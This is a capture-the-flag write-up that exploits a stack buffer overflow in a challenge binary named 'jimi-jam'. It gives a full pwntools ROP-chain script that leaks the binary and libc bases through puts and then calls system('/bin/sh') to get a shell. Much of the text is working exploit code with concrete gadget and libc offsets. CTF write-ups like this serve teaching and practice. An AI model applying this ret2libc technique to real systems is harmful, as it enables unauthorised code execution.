This is a binary exploitation challenge.
Once we decompile the given binary, we see that there is a buffer overflow in the vuln function. As you can see below, we have a buffer local_10 of size 8 but we are reading 0x40 bytes of user input into it. When you run checksec on the binary, you will see that there is no canary, therefore we can easily take control of the instruction pointer.
void vuln(void) {
undefined local_10 [8];
puts("Hey there! You\'re now in JIMI JAM JAIL");
read(0,local_10,0x40);
return;
}
In the challenge zip we were also given the library that was being used on the server, which coincidentally was the same as the one on my computer (Ubuntu 20.04). So as long as I get a shell locally, it should work remotely as well.
The binary itself does not have enough gadgets to spawn a shell, so we will first need to leak the base address of libc through which we can contruct a ROP chain to the effect of system("/bin/sh"). To start, we need to leak the address of any given function by using puts. In my solution, I leaked puts and got the offset from the base using: https://libc.blukat.me/.
In order to leak a function, we need to pass it as an argument into puts. In Linux 64-bit binaries, the first argument is passed through the rdi register so we need to find a gadget within the main binary that allows us to put a value into rdi.
$ ROPgadget --binary jimi-jam | grep "pop rdi"
0x00000000000013a3 : pop rdi ; ret
However, we can see that this is only a relative address, we will need to leak the base of this binary as well. Fortunately, in the main function, we can see that the binary is printing the address of a variable called ROPJAIL.
We can extract the address while we are interacting with the binary and then calculate the offset to get the binary base. The offset will then remain the same whenever we run the binary.
from pwn import *
import re
e = ELF('./jimi-jam')
io = process('./jimi-jam')
io.recvline()
addr = re.findall(b'The tour center is right here! (.*)\n', io.recvline())[0]
leak = int(addr,16)
base = leak - 16480
# ...
Once we have the base of the binary, we can continue with our ROP chain to leak the address of puts.
# ...
io.recvline()
payload = b'AAAABBBBCCCCDDDD'
payload += p64(base + 0x13a3) # pop rdi ; ret
payload += p64(base + e.got['puts'])
payload += p64(base + e.plt['puts']) # Now actually call puts
payload += p64(base + e.symbols['main']) # Run the binary again
io.sendline(payload)
leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))
# ...
Now using https://libc.blukat.me/ we can get the offset of puts in our libc and leak the libc base.
# ...
libc_base = leaked_puts - 0x875a0
# ...
Using the above libc database, we can also get the address of system and /bin/sh, thus completing our payload. You can also see above that I have ended the ROP chain with the address of main so that we run the binary a second time to enter the payload below.
# ...
payload2 = b'AAAABBBBCCCCDDDD'
payload2 += p64(base + 0x101a) # ret
payload2 += p64(base + 0x13a3) # pop rdi; ret
payload2 += p64(libc_base + 0x1b75aa) # str_bin_sh
payload2 += p64(libc_base + 0x055410) # system
io.sendline(payload2)
io.interactive()
Flag: flag{do_you_like_ropping}